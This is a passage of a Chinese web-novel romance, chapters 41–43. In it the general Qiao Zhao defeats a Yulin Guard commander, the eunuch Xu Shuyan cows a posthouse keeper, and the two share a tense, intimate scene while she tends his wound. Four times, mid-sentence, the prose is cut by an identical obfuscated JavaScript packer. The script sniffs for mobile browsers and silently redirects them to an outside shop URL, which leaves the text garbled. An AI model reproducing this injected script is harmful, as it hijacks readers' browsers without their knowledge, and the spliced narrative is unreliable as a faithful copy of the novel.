“你就这水平?我很对你的能力感到质疑,还是回家再练几年吧,挺丢人的。” 乔昭对战轻松也就罢了,主要是语言攻击真的让人破防。 绷不住了。 那人脸色瞬间僵住,耳朵红的要死,他愈发生气,整个人都气急败坏起来:“你真的是找死!” 他下手越来越重,甚至开始往死里打,那招式就是冲着将乔昭斩下马去的。 乔昭看他打法越来越急,招式越来越乱,刚刚还能有来有往,现在已经是乱打一通。不由得爽朗一笑,她就像猫逗老鼠似的,将这人拉着玩儿,不让他输,但也赢不了半分,十分憋屈。 眼看着此人已经破防了,乔昭也不想再逗人了,捏紧手里的鸣鸿刀,用了几分力气,羽林卫首领砍去,那人一惊,连忙用手中的刀去抵挡,乔昭趁此机会,刀身一撤,又用力挥动鸣鸿刀,将羽林卫首领的大刀挑开。 那人只感觉虎口一麻,根本握不住刀似的,大刀脱手而出,直接插在地上,刀身颤抖,嗡嗡作响。 乔昭再次出手,将鸣鸿刀刀尖指着羽林卫首领的鼻子。 扬声道:“你输了。现下可以说你的名字了吗?” 羽林卫首领脸上一黑一白,面色不断转换,平时他十分骄傲,在一众羽林卫中他的功夫是最厉害的,家世也是最高的,这个羽林卫首领他当之无愧。 谁曾想今日竟然被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914710|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个不认识的人将他的大刀挑下马去,这与他而言简直是奇耻大辱! 可是他已经输了,也无话可说,毕竟后面那么多人看着,里面还有跟他总是不对付的人,简直是将他的脸面按在地上摩擦。 空气安静了一瞬,面前的羽林卫首领嗫嚅许久,就是吐不出来话。 良久,他终于下定决心。 “羽林卫中郎将周行亭。”面前的人刚刚还低着头,一副脸丢大的样子。现下介绍自己姓名的时候倒是昂首挺胸,十分骄傲自满的样子。 他又斜眼睨着乔昭,一副世家公子哥,看不惯乡下人的样子,讽刺道:“我叫周行亭,姓周,你知道吗。” 乔昭直白回答道:“不知道。” 这个真的不怪乔昭,周姓在北齐是个大姓。再加上她五年前已经去了边疆,中京的这些世家子弟她根本不熟悉,也不感兴趣。所以她完全没有听说过周行亭这个人的名字。 徐纾言早就注意到了这边的闹剧,他一直没有讲话,白皙修长的手指轻轻掀开车帘,往外看去。 他看见乔昭与羽林卫打斗,也一点都不担心,因为徐纾言知道乔昭的水平。她的军功都是靠她自己一刀一剑在战场上挣回来的。 又岂是是中京这些靠家族荫庇的世家子可以比的。 这边周行亭听到乔昭这样直白简洁的回答,再看她面上确实一服不知情的样子,完全就像是从乡下来的,着实被无语到了。 但是看她那穿着,那打法真的不像个乡下来的啥也不懂的山野村姑啊! 他忍不住翻个白眼,仰着脸,用鼻孔看着乔昭:“在中京谁不认识周家人?就你这样的乡野村姑消息闭塞。” “我爹是当朝正一品太尉,周承远。我姑姑是当今太后,周衔玉!怕了吧!我给你说,在中京我一个手指头就能把你捏死,你还在这里跟我嚣张呢。” 家世给他的底气非常足,这个时候周行亭面对乔昭,好像找回了刚刚丢失的自尊。面前的乡野村姑算什么东西,在中京连给他提鞋都不配的。 乔昭这下没说话了,她听见周承远这个名字,脸上就收起了那些吊儿郎当的笑。仔细看着眼前这个手下败将。 周承远的儿子。 ...... 乔昭还记得上一世,就是周承远带兵去支援肃州,最后竟然导致国破家亡。西戎铁骑踏入中京,乔昭自己也死在了敌军刀下。 周承远这个人的名字,乔昭确实如雷贯耳,誓不敢忘。 乔昭这样冷冰冰的样子,让周行亭汗毛竖起。 干什么?这就被吓到了?!看起来有点不像。 过了几息,乔昭皮笑肉不笑的说道:“原来你就是周承远的儿子啊!真是鼎鼎有名呢。” 周行亭见乔昭这个语气夸他,还是有点不好意思,他利落的翻身下马,将自己的大刀捡起来,随后又坐上马。 “现在知道怕了?这次饶你一命,赶快让开,我还有公务在身。”周行亭端着架子,装模作样说道。 41. 第 41 章 周行亭确实有要事去做,宫里得了消息,九千岁徐纾言大难不死,逢凶化吉,现已归京。陛下听后龙颜大悦,忙派了羽林卫去将徐纾言接回来。 因此周行亭才急匆匆的在官道上驰骋。 乔昭听他讲话不由扑哧一笑,问道:“阁下的公务所谓何事?或许在下略知一二。” 周行亭有些莫名其妙的瞥了一眼乔昭,冷哼一声:“我的公务又是你这样的乡野村姑配知道的,赶快给我让开。” 周行亭有点不耐烦了,说实话他有些心急,迫不及待的想要见到徐纾言是否平安无虞。 乔昭打趣道:“好吧,那就不打扰阁下,你先走吧。” 别人上赶着要离开,也怪不了她。如果跑远了也没接到人,也跟她没有关系吧。 她很贴心的驾马往一边走去,给周行亭给出足够的距离。周行亭看她如此识相,扬起个脸,勉为其难的原谅了刚才乔昭的大不敬行为。 随后他在驾马离开之前,周行亭侧过脸睥睨着乔昭,语气还是那样高高向上: “我看你功夫倒是挺不错的,若是埋没了倒也可惜。”他大发善心的说道,“到了中京来找我,给你随手谋个差事。” 乔昭笑语晏晏,回答道:“好,多谢中郎将。” 随后一众羽林卫便驾着骏马,飞驰离开,又扬起阵阵尘土。徐霁徐淮忙捂住口鼻,不被尘土呛到。 徐淮望着远处离去的背影,略带酸涩不爽:“羽林卫一群绣花枕头,都是一些没用的二世祖,偏偏吃的用的全是最好的。” “还不是有个好爹,狂什么狂。” 徐淮嘟囔道,他之前在宫里就跟羽林卫的人有过一些龌龊,他们这些世家子,向来是看不起宫里的宦官的,当然徐淮也看不起这些草包。很多次两方争锋相对。 但是这个羽林卫首领倒是没有见过,应该是新上任的,看着跟个愣头青似的,被耍得一愣一愣的。 乔昭一行人继续赶路,过了今夜,明日午时便能抵达中京。这一路已经繁华了很多,至少不用再像以往一样风采露宿。天黑之前,乔昭他们赶到了一处驿站。 这里是距离中京最近的驿站,许多外地回京述职的官员都会选择在这个驿站休整一晚,明日再以最饱满的姿态面见圣上。 在北齐驿站只能有官职在身的人员才能住,且北齐的驿站更加趋于军事化,每个驿站会有专门管理的官员,称作驿长。驿站的其他人员则是兵部派下来的兵卒,负责保护入住官员的人身安全。 因此这个驿站十分豪华,最外面是高大华丽的门楼,这个驿站高有三层,每层的窗户上都挂着红色的灯笼,夜幕降临时,驿长便会吩咐兵卒将灯笼一盏一盏点亮。 因此哪怕是在黑夜,这里也是灯红酒绿,十分亮堂。 乔昭一行人停在了门口,站在门外守卫的兵卒忙疾步走过来。 他踏步上前,站在乔昭的骏马面前,正色问道:“大人可有通关文牒?” 北齐的驿站每次入住都是需要通关文牒,若无文牒则不能进入。 乔昭面露难色,她当然没有什么文牒,在坠下悬崖的时候早就被激流冲走了。 那兵卒看见乔昭一时掏不出来通关文牒,脸色也严肃了许多,冷硬道:“若无文牒,不能入住。” 北齐的通关文牒会在上面写道执照人的名字,官职,上面会盖有放行时的官印,会显示持有文牒之人所经过的主要地方。 通关文牒在一定程度上是身份和权利的象征,同时能够杜绝他人假冒入住,这对于远行的官员来说就是一份通行证。 现下乔昭他们没有通关文牒,作为守门兵卒定然不会放他们进去。乔昭也知道这东西的重要性,她是从小兵做起来的,当然知道驿站兵卒只是奉命行事,乔昭也不想为难他。 “去叫你们驿长出来。我们也是事出有因,跟他细说。”乔昭只能折中想个个法子。 “现下我们驿长不在,尔等还是速速离开,若不离开只能进行驱逐。”驿站兵卒硬邦邦的,完全不通情理。 徐淮的怒火蹭的就起来了,扯着鞭子:“狗眼长到天上了,连九千岁都不认识?还不赶快滚开!” 那兵卒看徐淮口出狂言。立马拔刀相向,四周的驿站兵卒都围了过来,害怕乔昭硬闯,戒备的看着他们一群人。 徐纾言坐在里面,当人能听到外面发生了什么。他轻轻掀开帘子,抬眼望着车外,道:“你们驿长姓甚名谁,归兵部的谁管?” 他语调不大,甚至听起来有几分阴柔,目光凉悠悠看过来,就是让人觉得汗毛竖起,忍不住想要退避三舍。 那驿站兵卒没回答,只哽着脖子说:“我没有义务告诉你驿长的名字。”随后也忍不住软了声音,“上面的规定,没有通关文牒就是进不去,我们也是按规定办事。不是有意为难大人。” “谁人在此闹事?!”远处传来一个雄浑的声音,一听就不是好相与的。 那些兵卒听见这声音,忙松了口气,上头有人来顶着,用不着自己上,徐纾言这气势,若真是个大官,自己吃不了兜着走。但是他又确实只能按规矩行事。 那驿长看着人高马大的,兵部派下来的驿长,往往都是从战场上退下来的将领,年纪大了不再适合参军,于是得了驿长这样的差事,较为清闲。 驿长驾马过来,身子笔挺,身材高壮,满脸的络腮胡,眉眼凌厉,气势骇人。 他缓缓停在乔昭一行人面前,皱着眉头:“就是你们闹事?” 乔昭还没来得及回答,那位兵卒忙抢答道:“驿长大人,他们几人没有通关文牒。” 驿长眉头拧得更深,神情不悦:“按照北齐律法,官员没有通关文牒不能入住,几位现下离开这里。” 大晚上的驿长不想将事情闹大,天子脚下打打闹闹算什么回事。 “我们是从肃州回来的,通关文牒在路上遗落了,不知驿长可否通融一下。”乔昭仍然好言回答道。 “通融不了!我不管你们是从哪里回来的!就算是从西戎从南蛮回来的,没有通关文牒就是不能入住。” 气氛一时十分凝滞,目前中京已经宵禁,城门早就关了,这周边也没有别的客栈,他们不住驿站,只能住在郊外。 ...... “你是兵部侍郎陈道坤门下的人?”徐纾言将帘子掀开,眉眼飞挑,睨着驿长,苍白的脸庞在夜色中显得跟山里的精怪似的。 驿长听道徐纾言的话,一惊。他早年间是陈道坤手里的兵,陈道坤当上了兵部侍郎,半年后便将他提倒了驿站当差。 这个驿站离中京最近,拨的款最多,是一个大肥差。他能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928985|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐上这个位置还是靠着陈道坤提携,当然这驿站多出来的,上不了账本的明细,绝大多数都献给了陈道坤。 那驿长连忙向徐纾言望过去,只一眼便吓得魂飞魄散,急忙翻身下马向徐纾言的车前靠近。 徐霁徐淮连忙戒备,一人执剑,一人那鞭,生人勿进的样子。 那驿长意识到有些冒昧,讪讪后退,又仰着个笑脸,望向徐纾言:“原来是九千岁大驾光临,是属下不长眼睛,竟然没认出九千岁。” 他又狠狠拍了拍自己脸,看着一副可怜样:“属下该死,竟如此疏忽。” 那些兵卒看见驿长,竟然如此惶恐,兵卒们吓得稀稀拉拉的跪了一地。 徐纾言或许对驿长没印象,但是驿长却是在几年前见过徐纾言的。 那个时候他和自己的上司,也就是现在的兵部侍郎陈道坤,去给徐纾言府里送礼。 陈道坤从战场下来,多年没有晋升,他背景不够强硬,在军队里是靠自己一拳一肉拼下来的。他颇有能力,但也只能走到卫尉卿的位置。 再往上难如登天。 可往日和他一起在战场上的同僚,那些贪生怕死之人,只是仗着家里有关系,回京以后就一路飞升。 陈道坤心里不满,郁郁寡欢,以他之才能,绝非今日之位置。 他想到了九千岁徐纾言。 驿长是陈道坤的心腹,于是被派来搬运那株奇特又绚丽的珊瑚,听说是从北海运来的,这样大又精致的珊瑚摆件,世间少有。 可驿长仍然记得,哪怕是这样精妙绝伦的东西也是入不了九千岁的眼。 他估摸着刚从宫里回来,听见下人的禀报,只微微掀开帘子,露出一张冰肌玉骨的脸,峨眉淡拂春山。他有些憔悴,满脸都是不耐之色,瞥了一眼陈道坤的脸,又看向凑到面前的珊瑚。 不耐烦的说了句:“什么东西,不要脏了咱家的眼。” 随后直接将帘子放了下来,轿子直接从他们面前讲经过,进了徐纾言的府邸。 驿长还记得当时陈道坤的面容,瞬间脸色阴沉下来,但是又要赔着笑。只能隔着帘子亦步亦趋,低声道歉。 “是下官想得不够周到,这就撤下去,以免污了九千岁的眼,望九千岁恕罪。” 这么好的东西,哪怕世间罕有,对于高堂之上的九千岁而言也只是俗物。这给驿长留下了很深刻的印象。 所以在今夜突然看到记忆里那淡然清冷的眉眼,驿长一下子就认出了人。 这位可是怠慢不得的大人物,一句话就能要了他的命。 于是他立即翻身下马,疾步到徐纾言的马车前,一脸讪笑。 徐纾言没发话,他也不敢停,就这样扇着自己的耳光。耳光打在脸上的声音在黑夜中尤为清晰,驿长也是下了力气的,一点不含糊。 那些驿站兵卒听见这个声响更加不敢将头抬起来,跪着的腰尽可能的低,恨不得低到泥里。 徐纾言看到此幕,叹息一声,指尖轻轻揉了揉额头,似乎已经忍受到了极限。 徐霁已经看出了徐纾言神色中透露出的疲惫和不耐烦,忙道:“还跪着干什么!一群蠢货!立刻去给掌印准备一间上房。” “是!属下这就去办!” 驿长这才恍然清醒,连忙去给徐纾言一行人准备屋子。 42. 第 42 章 夜色低垂,待一行人收拾妥当已经是午夜,徐霁徐淮今夜没有睡觉,经过那次暗杀后,两人更加精神紧绷,不敢离开徐纾言半分。 因此两人身子笔挺站在门外守护。 徐纾言每日都要换药,预防伤口发炎红肿。现下虽然夜深,但是药还是右肩上的药仍然需要每日更换。 裴空青拿药过来的时候,正巧碰到乔昭找徐纾言有要事相商。 裴空青看见乔昭,眼睛一亮,往乔昭更前走了一步:“乔姑娘也是去找掌印的吗?” 乔昭颌首。 自从徐霁徐淮来了以后,裴空青就已经知晓了徐纾言的身份。她之前只是认为徐纾言是宫里较为有势力的宦官,没想到竟然是司礼监掌印!裴空青虽然不闻世事,但是本朝较为有名的几个大人物她还是略有耳闻的。 因此后来再给徐纾言上药,她总是格外小心,尤其是徐纾言的两个亲信守在旁边,直勾勾盯着。裴空青真觉得挺不自在,生怕哪点做错了。 眼下徐纾言的伤已经缝合,伤口恢复也不错,就每日换换药,可以让别人代劳。因此裴空青看到乔昭,跟看见亲人似的。 她低声道:“乔姑娘,你要去找掌印,能顺便将他的伤药也带进去吗?” 乔昭看着裴空青,看她局促羞涩的眼神,似乎非常不好意思麻烦乔昭。乔昭只能伸手接过她手中的药粉。她对女孩子从来是忍不下心的。 随后她走到徐纾言门前,叩响门扉。 “进。”屋里传来冷寂沙哑的声线。 乔昭推开门进去,走进看见书案上燃着一盏烛火,徐纾言此时正伏在书案上,看今日传来的文书。 现在夜很深,估摸时辰已经到子时,外边已经一片寂静。徐纾言还就着烛火看着手里的信纸,不时还要提笔在上面批注,整个人看上去有几分憔悴,苍白着脸,显得气血不足的样子。 徐纾言很特别,世人对他的传言向来是极尽恶毒的,似乎将最坏最烂的词语放在他的身上都十分合适。 他也没让人失望,在朝堂中将嚣张跋扈,狠戾奸诈这几个字表现得淋漓尽致。仿佛就是要告诉所有厌恶他的人,他徐纾言就是这样的大奸宦。 但你能耐我何? 很是目中无人,自大狂妄,但是又让人毫无办法,只能憋着,见到他还要行礼赔笑。 但是乔昭见到的徐纾言又不尽相同,他很会笼络人心,身边的属下一个比一个衷心。他经常深夜伏案处理文书,唯有灯影重重与他相伴。 以及那在昏暗的火光下,苍白的脸,滚荡的泪,拽着衣角的纤细手指,和飞奔而来的轻拥。 都显现出他与传言不尽相同的一面。 ...... 乔昭推门进来后没有讲话,就这样站在厅里,屋内一片安静。 徐纾言这才抬头,望向进屋的人,不禁瞳孔一缩,是乔昭。 良久,徐纾言才开口:“可是有何事,乔昭?” 乔昭定定看着徐纾言,晃了晃手里的白瓷药瓶,笑道:“我来给你上药。” 乔昭的脸在昏黄的烛光下显得莹润生辉。她很年轻,身上充满着昂扬向上的,明媚的生命力。让人忍不住靠她近一些,能够汲取一星半点的活力,就能度过难熬的黑暗。 他与乔昭白日里总是没话,纵观这几次的相处都是在黑夜,好像两个人是什么不正当的,见不得人的关系,只能在夜里短暂私会。 徐纾言不禁扯了扯嘴角,似笑非笑。这是什么荒诞奇怪的想法,要是让乔昭知道他心中所想,估计恶心得几日都吃不下饭。 侯门贵女和一个阉人若是传出些风言风语,说出去简直让昌敬侯府日后都抬不起头来了,出门都会被指指点点的程度。 徐纾言在看到乔昭的那一刻,就已经起身,向她的方向走过去。他书案上的文书密信也不遮掩,仿佛无所谓会不会被乔昭看到。 但是乔昭很谨慎不逾矩,没将自己的眼神往书案上瞟,只专注的看着徐纾言。 直到徐纾言走到乔昭的跟前,两个人离得有些近,近到能感受到对方温热的体温。 徐纾言低低问道,声音在黑夜中有些哑:“今日怎么你来给我上药,郎中呢?” 乔昭也没后退,就这样直直望向徐纾言,两人的目光在黑夜中间交汇,多了几丝缠绵的意味。 她回复道:“今日裴郎中有些事,托我来帮你上药。” 夜晚实在有些黑,像是要将万事万物都笼罩在黑暗中。唯独屋里温和的光线,将两人挨近的身影拢在其中,就像是天然的屏障,将漆黑隔绝在外。 视线的交缠犹如紧密相织的丝线,空气中的暧昧,简直让人喘不过气来,不自觉的沉溺其中。 眼神是诉说爱意最直白的表达方式。 “好......” 徐纾言率先在这场无声的交战中败下阵来,他迅速挪开视线,低垂着眼睫不再看乔昭,转身向塌边走去。 他穿着月牙白色的锦袍,转身时,下摆的衣角,微微扬起的弧度,与乔昭的黑色戎装下摆相触,又在一瞬间分开。 若有似无的勾引。 乔昭心里忍不住叹了口气,今晚燥的很,说不清道不明的。好像也退不出去了。 她跟在徐纾言的身后,看他坐在塌边,侧着身子,将身上披着的外衣除下,右肩面向乔昭,透露出丁点媚态。 徐纾言实在是瘦弱,尤其是现在夜里他穿的单薄,勾勒出他文弱又瘦削的身型。再加上他身量修长,腰身盈盈一握,乔昭几乎可以一手揽住。 乔昭走上前,站在徐纾言的身前。 “劳烦掌印将衣物褪下些许。”乔昭的声线听起来十分平稳,端的是个脸不红心不跳的姿态。 徐纾言抬头望向乔昭,又是那样清凌凌的眼神,昏黄光线柔和了他的眉眼。乔昭有些受不了他这个样子,但是真的不能像上次如此逾矩。 她只能将目光放在自己手心里的白瓷瓶,就一个白白的瓶子,上面什么花纹都没有,不知道她哪里能够盯这么久。 两人都没再说话,屋里很安静,但又暗潮涌动。 徐纾言缓缓褪下自己的衣物,莹白的肌肤接触到冷空气,不由瑟缩一下。徐纾言本来就是娇生惯养的,皮肉细嫩,肤如凝脂,只有至高无上的权利才能滋养出来这样娇贵的花。 但是若是当真怀有坏心思,想要采撷这朵花。那只会沦落成为根系的花泥,助他更上一步,直登青云。 乔昭终于将目光放在了徐纾言的右肩上,他肩上的伤口还是张牙舞爪的,但是已经比刚开始好太多了。开始渐渐有结疤的趋势。 但是狰狞的伤口就像是一片雪白中的硕大黑点,破坏了美感。 徐纾言抬眼看着乔昭就这样盯着自己的伤口,没有任何动作。目光似有实质,让徐纾言有些不自在。 乔昭她……她是不是不愿意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943211|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忍不住想,或许乔昭是不想碰自己。这个伤口肯定很难看吧,这么大的伤,连缝合都废了好久的功夫。就算好了,以后肯定也会留下崎岖丑陋的疤痕。 让人生厌。 再加上他一个阉人怎配让战场上意气风发,无往不利的小将军来给自己上药。 指不定乔昭心里多憋屈,只是碍于徐纾言的权势隐忍不发。 倒是委屈她了。 徐纾言心里又酸又涩,堵的要命,喉咙滚动了好几下,又抿住唇,不知道要说什么,好像此时说什么都不合时宜。 徐纾言一下子挺直脊背,刚刚那点媚态完全收了起来。他一把将衣服拉上,白皙的肌肤包括那骇人的伤口都被遮掩在衣物之下。 乔昭回神,目光往上移,落在了徐纾言冷冷的脸上,他绷紧神情,双眸微沉,一错不错的看向乔昭。 “咱家一个阉人,怎配劳烦乔都尉亲自来上药。就不污了乔都尉的眼,咱家自己上药便可。” 这话,阴阳怪气的,一字一句从徐纾言嘴里吐出来,生怕乔昭听不懂似的。 哦,他生气了。 心情好的时候,唤她乔昭。心情不好的时候,唤她乔都尉。 乔昭停留在徐纾言脸上,更确切的说,是停留在他的眼睛里。看着他那寒星似的一双眸子,看着里面戾气横生,也没错过那一闪而过的苦涩。 乔昭忽的一笑,轻声说道:“不就是一道疤吗,更严重的我都受过。这疤痕在掌印身上只增添了别样的风情。” 她的声音在黑夜中,不知为何,多了几分轻佻。说的话就像是在哄那南风馆的小倌,甜滋滋的带着缠绵。 随后她又上前一步,将徐纾言的衣物拉下,只露出一截莹润香肩,再多的就隐在衣物里,不为外人可见。 徐纾言的脸瞬间红了,他忙侧开身子,迅速离开乔昭的手。明明乔昭只碰到了他的衣物,但是徐纾言就是感觉这半边肩膀酥麻麻的,使不上力气。 “乔昭,你放肆!”屋子里瞬间传出徐纾言的怒斥。 门外的徐霁徐淮瞬间警戒,厉声问道:“掌印!可是出了何事?” 没有徐纾言的吩咐,徐霁徐淮不能擅闯他的寝卧,所以两人只能在外面干着急。 乔昭一把将徐纾言的嘴捂住,眼眸中盈满笑意,她一只手捂住徐纾言,一只手食指放在嘴边,示意徐纾言安静些。 两个人温热的呼吸交缠在一起,不分彼此。 乔昭转头向着门外,扬声道:“掌印并无大碍。” 她的手还捂着徐纾言,就完全没想过放开,温暖干燥的手掌,带着乔昭的温度。两人接触的地方烫得惊人,把徐纾言的脑子都烫懵了,他就这样乖顺的任乔昭动作。 很明显,门外的徐霁徐淮并不买账,没听到徐纾言说话,他们根本放心不下。 徐淮大声向屋内喊道:“掌印,您还好吗?” 他一点都不好。 乔昭又转头看向他,她的眼睛好像会说话似的。似乎确定他不会再闹,乔昭缓缓松开了捂着徐纾言的手。 她笑着看着徐纾言,头往门外示意了一下,让徐纾言说话。 徐纾言这才像是能呼吸新鲜空气一般,他清清嗓子,向门外哑声道:“无事。” 随后想起什么,又警告一句:“没我吩咐,不能擅闯。” “是!”徐霁徐淮齐齐回复道。 屋里,乔昭轻笑一声。 43. 第 43 章 “疼吗?” 黑夜,灯影憧憧,榻边两人。徐纾言右肩侧向乔昭。乔昭手持白瓷药瓶,将白色药粉,小心翼翼的倒在伤处。 她垂眸看着徐纾言右肩的伤口,目光专注,神色沉静,手中动作也是尽量收着,害怕下手太重,伤了徐纾言。 徐纾言缓缓抬眼,在昏暗的光线中,眼神犹如实质,细细描摹乔昭的眉眼。乔昭眼尾平滑略微上翘,让她有些潋滟多情的双眼多了三分狡黠。 跟她的性格一样,平时看起来跳脱活跃,很好说话的样子。但是非常难接近,疏离有距离感。还没靠近,就被她笑着搪塞过去了。 她哪怕是初次面对着徐纾言,这位朝堂翻云覆雨的司礼监掌印,都是一副端方有礼,不卑不亢的姿态。看不出半分谄媚,也没有别的情绪。 例如恶心,厌恶。 ...... 可能黑夜总会让人的思绪缠成一团乱麻,无法解开,只能越来越混乱。平日里深深压在心底的那些胡思乱想,都喷涌而出,将整个脑子淹没。 “还疼吗?”没听见回答,乔昭又问了一遍。 她抬眼,望着身前的徐纾言,二人四目相对,徐纾言刚刚还沉浸在自己的思绪中。蓦然与乔昭对视,令他有些措手不及,喉结不自觉滑动。但他又不想落了下风,就这样挑衅似的直直看着乔昭。 乔昭轻笑一声,眉眼弯弯,话语中带着几分揶揄:“掌印,乔昭有弄疼你吗?我轻些。” 这话真的怎么听怎么暧昧,就像是从蜜糖罐里拉丝的麦芽糖,甜蜜蜜的,腻得慌。 “不疼。”徐纾言直白冷硬回复道,听着有点不近人情的意味。 虽然语气很冷,但其他地方烫得很。 徐纾言耳廓渐渐泛红,有些发烫。下意识想要摆弄衣角,却发现拽着的是乔昭的黑色戎装,忙又放开手,一时有些手足无措。只能克制的将双手端正摆在身前。 这个药粉一打开清凉薄荷味儿就散发在空气中,应该是有些刺激肌肤。上药时乔昭看他双眉微蹙,想必是有些疼的。 但是徐纾言很能忍,表现在各个方面。他很多时候都是隐忍不发,像是盘踞的毒蛇,在旁伺机出动,从不多费功夫。 这样隐忍的性子也带到了生活中,哪怕是伤口再痛再难受,他也闭口不言,绝口不提。决不让人抓住短处。 “掌印还真是要强,疼得嘴唇都白了,还说着不疼。”乔昭摇摇头,话里话外都是是打趣,“嘴硬的人,可是要吃大亏的。” 徐纾言撇了她一眼,冷飕飕说道:“咱家吃不吃亏不知道,倒是乔都尉会吃点苦头。” 乔昭低笑了一声,好凶。 若是徐霁徐淮在,简直会惊掉下巴。这么多年,从没人敢在徐纾言面前如此造次,大家都是恭恭敬敬的,生怕说错那句话惹到了九千岁。 像乔昭这样戏弄他的人,早就被拖去慎刑司掌嘴了。 还记得那时,徐纾言初登上司礼监掌印,宫里有些人在他背后嚼舌根。那几日慎刑司堪称血雨腥风,甚至连那些只在旁边围观,未曾发言的小太监都在慎刑司受了好大的教训。 后来再没人敢说他一言一语,谈到徐纾言大家都自动噤声,无论好坏。当然也没人说他好的...... 而现在的徐纾言堪称柔和。 黑沉沉的夜,微弱烛火轻轻摇曳,屋里一片寂静。乔昭也没说话了,只专心自己手上的事情。 两个人挨得着实有些近,乔昭温热的呼吸触碰到徐纾言的肌肤。但这还真怪不得乔昭,因为屋里的烛火不够亮,乔昭有些看不清,只能凑得近些。 她真没有那些坏心思! 徐纾言很难说清楚现在的感受,他只感觉自己心跳得迅速,心脏跳动的声音在黑夜中犹为刺耳,尽管这声音只能徐纾言听到。 他没办法去想为何乔昭靠近,自己心跳就会如此之快。也不能去深思。 一旦抽丝剥茧的探讨内心真正埋藏的东西,就会发现那些恶心粘稠的欲望,只会令人发笑。 简直是异想天开,痴人说梦。 徐纾言低垂着眸子,无人发现他眼底闪过的一丝无措。 ...... 时间一分一秒的过去,看似过去了好久,但其实也就几息之间。 但从没有哪一刻的时间,犹如今夜一样漫长,仿佛停滞不前。 徐纾言感觉十分不自在,因为乔昭靠得太近了。 他伸手,轻轻推了推乔昭的肩膀,低声斥道:“离远些,咱家养的狗都没你蹭得近。” 得!骂乔昭是狗呢! 不愧是北齐最飞扬跋扈,盛气凌人的司礼监掌印!骂起人来,又直白又坦荡! 乔昭简直气笑了,她也没反驳,低头将手里的药处理完,又把徐纾言的衣服拉起来。 这才慢悠悠看向徐纾言:“掌印这张嘴,还是十年如一日,一点不收敛的。不愧是能在朝堂上舌战群儒的九千岁。” 乔昭说话,如果不是笑着或者有情绪,其他时候听起来会有些冷淡,让人猜不透她的心思。 徐纾言忙抬起头,一双寒星似的眸子,清凌凌的望向乔昭。徐纾言细细的观察着乔昭,似乎在判断她有没有生气。 他有些后悔,刚刚不应该说话如此不顾情面。在北齐没人喜欢将自己和狗混为一谈,这无异于奇耻大辱。 若是她生气了......怎么办。 会讨厌他,会厌恶他吧......这都是他活该。 徐纾言的思绪不由控制的滑向黑暗中。 乔昭完全没把这件事放在心上,也没注意到徐纾言这边。掌印骂几句就骂几句呗,又不能少块肉,宁安郡主时常笑骂乔昭就是个混不吝的性子。 她从徐纾言榻上起身,将药瓶收进自己袖里,明日还要还给裴空青。裴空青看着就挺节省的,这白瓷药瓶,应该是要循环用的。 现下子时已过,给徐纾言换药还是耽误了些时间,夜已经很深了。 乔昭今晚来找徐纾言可不是给他上药的,明日就被到了中京,她有正事同他相商。 一转过身,乔昭就与徐纾言湿漉漉的眼神相对。 嗯? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963944|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咋哭了...... 没惹他吧。 两人目光相对,徐纾言猝然偏过头,只留下白皙的侧脸以及绯红的眼尾,对着乔昭。 乔昭简直一头雾水,她没说错话吧?!怎么就哭了呢...... 她转了个方向,又站在了徐纾言的面前。徐纾言看见乔昭转过来,又垂首低头,乔昭只能看见他一头乌黑柔软的青丝。 乔昭轻轻叹息一声,试探开口道:“是乔昭哪里惹掌印不快吗?请掌印明示。” 这么静的黑夜,这么静的屋子。徐纾言怎么会听不见乔昭的那声充满无奈的叹息。 一滴晶莹的泪默默垂落,很高傲的只这一滴泪,快的就像幻觉,好像不曾存在过。 但是乔昭捕捉到了。 徐纾言还低着头,他流泪都十分克制,只有晶莹从白皙的脸庞滑落,连哽咽声都不肯发出。 乔昭真没办法了,还能怎么办,道歉呗! 她语气里含着歉意:“是乔昭拙笨,还望掌印见谅。” 徐纾言猛然抬起头,泪光盈盈的眼睛,望向乔昭,只摇头。徐纾言根本不知道要如何解释自己莫名其妙的眼泪。 看着乔昭的眸子,就根本忍不住内心那点委屈就。 